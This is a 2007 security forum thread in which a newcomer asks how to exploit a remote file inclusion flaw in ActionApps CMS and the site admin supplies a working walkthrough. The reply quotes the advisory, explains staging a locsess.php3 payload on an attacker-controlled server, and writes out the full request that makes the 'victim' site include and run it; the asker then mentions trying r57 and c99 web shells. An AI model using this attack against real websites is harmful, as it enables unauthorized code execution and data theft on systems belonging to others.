 |
|
 |
 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 215
 Members: 0
 Total: 215
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
ActionApps -help please |
|
 Posted: Sun Aug 12, 2007 9:38 pm |
 |
|
| int |
| Regular user |
 |
|
| Joined: Aug 13, 2007 |
| Posts: 12 |
|
|
|
 |
|
 |
|
Hello world, I`m new here, I think you have a nice comunity.
Here is my problem.. I have an ActionApps PHP application. It is used for posting news on websites.
I found on the web that this is one of the exploits used on it:
| Code: | | http://www.site.com/[APC_path]/cached.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] |
Please, I would like to know what does AA_INC_PATH mean 
How would a full exploit address look. If you know about this kind of PHP application please help a newbie out 
Thanks anticipated! |
|
|
|
|
|
Re: ActionApps -help please |
|
| Posted: Mon Aug 13, 2007 10:17 am |
|
|
| waraxe |
| Site admin |
 |
|
| Joined: May 11, 2004 |
| Posts: 2407 |
| Location: Estonia, Tartu |
|
|
|
|
|
|
| int wrote: | Hello world, I`m new here, I think you have a nice comunity.
Here is my problem.. I have an ActionApps PHP application. It is used for posting news on websites.
I found on the web that this is one of the exploits used on it:
| Code: | | http://www.site.com/[APC_path]/cached.php3?GLOBALS[AA_INC_PATH]=[evil_scripts] |
Please, I would like to know what does AA_INC_PATH mean
How would a full exploit address look. If you know about this kind of PHP application please help a newbie out
Thanks anticipated! |
I assume, that you mean this exploit:
http://milw0rm.com/exploits/1829
| Code: |
################ DEVIL TEAM THE BEST POLISH TEAM #################
#APC ActionApps CMS (2.8.1) - Remote File Include Vulnerabilities
#Find by Kacper (Rahim).
#Greetings For ALL DEVIL TEAM members, Special DragonHeart :***
#Contact: kacper1964@yahoo.pl or http://www.devilteam.yum.pl
#site: http://sourceforge.net/projects/apc-aa/
##################################################################
/*
cached.php3:
... (line:35)
require_once $GLOBALS['AA_INC_PATH']."locsess.php3";
...
...
expl:
http://www.site.com/[APC_path]/cached.php3?GLOBALS[AA_INC_PATH]=[evil_scripts]
...
...
|
So what you need first, is some website in your possession, which is not processing php files (hosting without php support).
Now, write this little test script:
| Code: |
<?php
phpinfo();
?>
|
... and rename file to "locsess.php3". After that upload it to your webserver and try to access it with your favourite webbrowser.
You must see that file in plain text from browser.
Now, let's assume, that your uploaded script has URL like this:
http://www.yourwebsite.com/locsess.php3
Then you can exploit the victim by issuing this request:
http://www.yourvictim.com/cached.php3?GLOBALS[AA_INC_PATH]=http://www.yourwebsite.com/
If you are lucky, then you can see lots of insider information from victim's php engine,
thanks to "phpinfo()" function 
And as you can see, ANY php code can be written to php script in YOUR website and then you can
execute it on VICTIM website! This is the essence of the RFI - Remote File Inclusion  |
|
|
|
|
|
|
|
|
| Posted: Mon Aug 13, 2007 8:31 pm |
|
|
| int |
| Regular user |
|
|
| Joined: Aug 13, 2007 |
| Posts: 12 |
|
|
|
|
|
|
|
Thank you waraxe admin for your fast help. I wasn't lucky enough 
I have AV problems when working with r57 or c99, i tried a different shell but didn't work out |
|
|
|
|
www.waraxe.us Forum Index -> Newbies corner
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|
